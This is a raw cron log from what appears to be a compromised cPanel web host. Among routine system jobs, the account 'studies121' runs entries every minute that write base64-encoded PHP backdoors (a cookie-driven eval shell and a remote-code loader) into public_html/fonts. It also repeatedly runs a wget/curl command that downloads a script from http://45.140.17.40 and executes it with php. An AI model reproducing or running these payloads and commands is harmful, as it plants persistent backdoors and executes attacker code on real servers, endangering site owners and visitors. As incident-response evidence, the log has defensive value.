Sep  5 01:07:02 ip-184-168-122-23 CROND[16053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:07:02 ip-184-168-122-23 CROND[16055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:08:01 ip-184-168-122-23 CROND[16216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:08:01 ip-184-168-122-23 CROND[16217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:08:01 ip-184-168-122-23 CROND[16220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:08:01 ip-184-168-122-23 CROND[16218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:08:01 ip-184-168-122-23 CROND[16219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:09:01 ip-184-168-122-23 CROND[16298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:09:01 ip-184-168-122-23 CROND[16301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:09:01 ip-184-168-122-23 CROND[16302]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 01:09:01 ip-184-168-122-23 CROND[16303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:09:01 ip-184-168-122-23 CROND[16300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:10:01 ip-184-168-122-23 CROND[16399]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:10:01 ip-184-168-122-23 CROND[16404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:10:01 ip-184-168-122-23 CROND[16402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:10:01 ip-184-168-122-23 CROND[16406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:10:01 ip-184-168-122-23 CROND[16407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:10:01 ip-184-168-122-23 CROND[16408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:10:01 ip-184-168-122-23 CROND[16403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:10:01 ip-184-168-122-23 CROND[16405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:11:01 ip-184-168-122-23 CROND[16504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:11:01 ip-184-168-122-23 CROND[16505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:11:01 ip-184-168-122-23 CROND[16506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:11:01 ip-184-168-122-23 CROND[16507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:12:01 ip-184-168-122-23 CROND[16586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:12:01 ip-184-168-122-23 CROND[16589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:12:01 ip-184-168-122-23 CROND[16588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:12:01 ip-184-168-122-23 CROND[16590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:12:01 ip-184-168-122-23 CROND[16591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:13:01 ip-184-168-122-23 CROND[16675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:13:01 ip-184-168-122-23 CROND[16676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:13:01 ip-184-168-122-23 CROND[16678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:13:01 ip-184-168-122-23 CROND[16679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:14:01 ip-184-168-122-23 CROND[16843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:14:01 ip-184-168-122-23 CROND[16847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:14:01 ip-184-168-122-23 CROND[16848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:14:01 ip-184-168-122-23 CROND[16845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:14:01 ip-184-168-122-23 CROND[16846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:15:01 ip-184-168-122-23 CROND[16936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:15:01 ip-184-168-122-23 CROND[16938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:15:01 ip-184-168-122-23 CROND[16940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:15:01 ip-184-168-122-23 CROND[16939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:15:01 ip-184-168-122-23 CROND[16941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:15:01 ip-184-168-122-23 CROND[16942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:16:01 ip-184-168-122-23 CROND[17054]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 01:16:01 ip-184-168-122-23 CROND[17052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:16:01 ip-184-168-122-23 CROND[17056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:16:01 ip-184-168-122-23 CROND[17050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:16:01 ip-184-168-122-23 CROND[17051]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:16:01 ip-184-168-122-23 CROND[17053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:17:01 ip-184-168-122-23 CROND[17186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:17:01 ip-184-168-122-23 CROND[17187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:17:01 ip-184-168-122-23 CROND[17188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:17:01 ip-184-168-122-23 CROND[17189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:18:01 ip-184-168-122-23 CROND[17272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:18:01 ip-184-168-122-23 CROND[17273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 01:18:01 ip-184-168-122-23 CROND[17274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:18:01 ip-184-168-122-23 CROND[17275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 01:18:01 ip-184-168-122-23 CROND[17276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 01:19:01 ip-184-168-122-23 CROND[17368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:19:01 ip-184-168-122-23 CROND[17370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
